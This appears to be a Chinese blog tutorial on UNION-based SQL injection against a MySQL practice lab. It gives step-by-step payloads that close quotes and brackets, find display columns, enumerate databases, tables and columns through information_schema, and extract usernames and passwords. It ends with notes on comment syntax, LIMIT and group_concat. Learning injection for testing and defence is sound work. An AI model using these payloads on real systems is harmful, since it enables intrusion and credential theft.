union爆库基本操作

数字型与字符型判断

字符型注入特征

1.png

由于是字符型的所有会在前面显示两个引号中的字符串,此时我们需要利用一个引号将其闭合掉

select * from users where id='1' or '1'='1

数字型注入特征

2.png

由于是数字型的 所以没有引号显示,此时直接在后面跟上union语句就可以

select * from users where id=1 or 1=1

带括号的注入

3.png

由于是带括号的查询,所以需要把括号闭合掉,同时,查询中也是字符串,所以还需要加上单引号

select * from users where id=('1') or '1'=('1

爆显位

原句型

select * from users where id='1'union select 1,2,3--+ limit 0,1

显位句型

select * from users where id='-1'union select 1,2,3--+ limit 0,1

爆数据库

select * from users where id='-1'union select 1, group_concat(schema_name ),3 from information_schema.schemata--+ limit 0,1
  • 结果↓

4.png

​ 当id的数据在数据库中不存在时,(此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的union 的数据。

爆xx数据库的数据表

select * from users where id='1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ limit 0,1
  • 结果↓

5.png

爆数据库的列

select * from users where id='1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ limit 0,1
  • 结果↓

6.png

爆数据

select * from users where id='1'union select 1,username,password from users where id=2--+ limit 0,1
  • 结果↓

7.png

函数使用说明

注释符

在讲解该处注释符之前,先来了解一下各个数据库的注释符的不同。

Mysql注释符

#以“#”号开头,直到该行行尾,全部都是注释内容

– 以“– ”号开头,直到该行行尾,全部都是注释内容;注意:“– ”号与注释内容之间要加有空格,否则会报错

/**/ 该符号中间的内容全部为注释。

Oracle注释符

– 单行注释

/**/ 多行注释

MSSql注释符

– 单行注释

/**/ 多行注释

SqlLite注释符

– 单行注释

/**/ 多行注释

注入用法

以字符型为例,构造语句:

http://127.0.0.1/?id=1'order by 3--+

将后续的字符以–+来拼接全部注释掉

如果不想要使用注释符,可以构造还原语句,例:

http://127.0.0.1/?id=1'order by 3 and "1"="1

两者的结果是相同的,但是考虑的可能会有过滤注释符的情况,所以灵活运用吧

limit用法

​ 作用:用于限制查询结果的条数

​ 语法:LIMIT [位置偏移量,]行数

​ 其中,中括号里面的参数是可选参数,位置偏移量是指Mysql查询分析器要从哪一行开始显示,索引从0行开始,即第一条记录位置偏移量是0,第二条记录偏移量是1,以此类推,第二个参数为“行数”,即指返回的记录条数

limit 0,1从数据库第0行开始打印,取1行

limit 3,5从数据库第3行开始打印,取5行

group_concat()用法

​ 简单点讲就是把相同的行组合起来

8.png

information_schema用法

information_schema是信息数据库,保存着服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型和访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

information_schema数据库表说明

表名 说明
SCHEMATA表 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表 提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表 给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表 给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表 给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表 给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表 提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表 提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表 指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表 描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表 描述了具有约束的键列。
ROUTINES表 提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表 给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表 提供了关于触发程序的信息。必须有super权限才能查看该表

标签: none

添加新评论